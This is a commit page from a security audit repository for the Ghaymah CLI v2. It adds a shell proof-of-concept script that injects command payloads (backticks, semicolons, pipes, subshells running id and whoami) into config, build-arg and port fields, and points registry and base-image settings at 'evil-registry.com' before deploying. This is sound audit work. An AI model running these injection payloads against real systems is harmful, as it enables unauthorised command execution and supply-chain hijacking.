🛡️ feat: Ghaymah CLI v2 — Security & QA Audit Repository
Comprehensive security audit of the Ghaymah CLI v2 and web platform. Findings: - [CRITICAL] T1552: Dockerfile & .env Credential Leakage - [CRITICAL] OWASP A07: Missing OTP & Unverified Password Change - [HIGH] T1539: Session Token Revocation Bypass - [MED/HIGH] CWE-400: Configuration Poisoning DoS (Pipeline Hang) Includes: - 8 Proof-of-Concept applications (PoC_Apps/) - Visual evidence & screenshots (Assets/Screenshots/) - Full PDF audit report (Reports/) - Mermaid.js attack flow diagrams in README Auditor: Ziad Mahmoud Ahmed Abdelgwad — Cybersecurity Specialist
هذا الالتزام موجود في:
108
PoC_Apps/test-app-2/auto_rce_test.sh
Normal file
108
PoC_Apps/test-app-2/auto_rce_test.sh
Normal file
@@ -0,0 +1,108 @@
|
||||
#!/bin/sh
|
||||
|
||||
GY="../gy-linux-amd64"
|
||||
LOG_FILE="rce_test_results.log"
|
||||
TIMEOUT_SEC=400
|
||||
SYNC_TIMEOUT=120
|
||||
SET_TIMEOUT=60
|
||||
|
||||
echo "========== بدء الاختبار: $(date) ==========" > "$LOG_FILE"
|
||||
echo "" >> "$LOG_FILE"
|
||||
|
||||
run_with_timeout() {
|
||||
cmd="$1"
|
||||
timeout_sec="$2"
|
||||
log_file="$3"
|
||||
eval "$cmd" > "$log_file" 2>&1 &
|
||||
pid=$!
|
||||
elapsed=0
|
||||
while kill -0 "$pid" 2>/dev/null && [ "$elapsed" -lt "$timeout_sec" ]; do
|
||||
sleep 5
|
||||
elapsed=$((elapsed + 5))
|
||||
done
|
||||
if kill -0 "$pid" 2>/dev/null; then
|
||||
kill -9 "$pid" 2>/dev/null
|
||||
return 124
|
||||
else
|
||||
wait "$pid"
|
||||
return $?
|
||||
fi
|
||||
}
|
||||
|
||||
cat > /tmp/tests.list << 'EOL'
|
||||
RCE_backticks|config set env "RCE_1=\`id\`"
|
||||
RCE_semicolon|config set env "RCE_2=; whoami ;"
|
||||
RCE_pipe|config set env "RCE_3=| whoami"
|
||||
RCE_or|config set env "RCE_4=|| whoami"
|
||||
RCE_ampersand|config set env "RCE_5=& whoami"
|
||||
RCE_subshell_echo|config set env "RCE_6=\$(echo id)"
|
||||
RCE_newline|config set env "RCE_7=\$'whoami\n'"
|
||||
BUILDARG_semicolon|config set build-args "TEST_ARG=; whoami ;"
|
||||
PORT_injection|config set port "8080; whoami"
|
||||
REGISTRY_hijack|config set env "DOCKER_REGISTRY=evil-registry.com"
|
||||
REGISTRY_hijack2|config set env "REGISTRY=evil-registry.com"
|
||||
BASEIMAGE_hijack|config set env "BASE_IMAGE=evil-registry.com/evil-image:latest"
|
||||
EOL
|
||||
|
||||
while IFS='|' read -r test_name config_cmd; do
|
||||
echo "🔍 اختبار: $test_name"
|
||||
echo "🔍 اختبار: $test_name" >> "$LOG_FILE"
|
||||
|
||||
echo " ▶️ $GY $config_cmd (تايم أوت ${SET_TIMEOUT}s)"
|
||||
temp_log="/tmp/set_$$.log"
|
||||
run_with_timeout "$GY $config_cmd" "$SET_TIMEOUT" "$temp_log"
|
||||
set_exit=$?
|
||||
cat "$temp_log" >> "$LOG_FILE"
|
||||
rm -f "$temp_log"
|
||||
if [ $set_exit -eq 124 ]; then
|
||||
echo " ⏰ تعليق في config set - تايم أوت"
|
||||
echo " ⏰ تعليق في config set - تايم أوت" >> "$LOG_FILE"
|
||||
continue
|
||||
elif [ $set_exit -ne 0 ]; then
|
||||
echo " ❌ فشل config set برمز: $set_exit"
|
||||
echo " ❌ فشل config set برمز: $set_exit" >> "$LOG_FILE"
|
||||
continue
|
||||
fi
|
||||
|
||||
echo " ▶️ $GY config sync (تايم أوت ${SYNC_TIMEOUT}s)"
|
||||
temp_log="/tmp/sync_$$.log"
|
||||
run_with_timeout "$GY config sync" "$SYNC_TIMEOUT" "$temp_log"
|
||||
sync_exit=$?
|
||||
cat "$temp_log" >> "$LOG_FILE"
|
||||
rm -f "$temp_log"
|
||||
if [ $sync_exit -eq 124 ]; then
|
||||
echo " ⏰ تعليق في config sync - تايم أوت"
|
||||
echo " ⏰ تعليق في config sync - تايم أوت" >> "$LOG_FILE"
|
||||
continue
|
||||
elif [ $sync_exit -ne 0 ]; then
|
||||
echo " ❌ فشل config sync برمز: $sync_exit"
|
||||
echo " ❌ فشل config sync برمز: $sync_exit" >> "$LOG_FILE"
|
||||
continue
|
||||
fi
|
||||
|
||||
echo " ▶️ $GY deploy (تايم أوت ${TIMEOUT_SEC}s)"
|
||||
temp_log="/tmp/deploy_$$.log"
|
||||
run_with_timeout "$GY deploy" "$TIMEOUT_SEC" "$temp_log"
|
||||
deploy_exit=$?
|
||||
cat "$temp_log" >> "$LOG_FILE"
|
||||
rm -f "$temp_log"
|
||||
if [ $deploy_exit -eq 124 ]; then
|
||||
echo " ⏰ تعليق في deploy - تايم أوت"
|
||||
echo " ⏰ تعليق في deploy - تايم أوت" >> "$LOG_FILE"
|
||||
elif [ $deploy_exit -eq 0 ]; then
|
||||
echo " ✅ انتهى deploy بنجاح (تحقق من اللوغ)"
|
||||
echo " ✅ انتهى deploy بنجاح" >> "$LOG_FILE"
|
||||
else
|
||||
echo " ❌ فشل deploy برمز: $deploy_exit"
|
||||
echo " ❌ فشل deploy برمز: $deploy_exit" >> "$LOG_FILE"
|
||||
fi
|
||||
|
||||
echo "" >> "$LOG_FILE"
|
||||
echo "--------------------------------------------------"
|
||||
echo "" >> "$LOG_FILE"
|
||||
done < /tmp/tests.list
|
||||
|
||||
rm -f /tmp/tests.list
|
||||
|
||||
echo "✅ انتهت جميع الاختبارات. النتائج محفوظة في $LOG_FILE"
|
||||
echo "✅ انتهت جميع الاختبارات. النتائج محفوظة في $LOG_FILE" >> "$LOG_FILE"
|
||||
المرجع في مشكلة جديدة
حظر مستخدم